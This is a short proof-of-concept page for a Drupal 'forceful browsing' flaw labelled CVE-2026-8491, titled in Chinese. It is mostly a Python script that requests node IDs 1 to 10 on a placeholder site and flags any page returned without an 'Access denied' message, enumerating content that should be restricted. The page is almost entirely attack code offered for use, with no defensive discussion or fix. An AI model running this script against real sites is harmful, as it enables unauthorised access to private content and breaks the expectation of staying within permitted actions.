CVE-2026-8491 Drupal Node View Permissions强制浏览漏洞

import requests # POC for CVE-2026-8491: Forceful Browsing in Drupal Node View Permissions # This script attempts to access restricted nodes directly. target_url = "http://example.com/node/{}" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } def check_node(node_id): try: response = requests.get(target_url.format(node_id), headers=headers, timeout=5) if response.status_code == 200 and "Access denied" not in response.text: print(f"[+] Potential access found for Node ID: {node_id}") print(f"[+] URL: {response.url}") else: print(f"[-] Node ID {node_id} is restricted or not found.") except Exception as e: print(f"Error connecting to target: {e}") if __name__ == "__main__": # Example range to test for i in range(1, 11): check_node(i)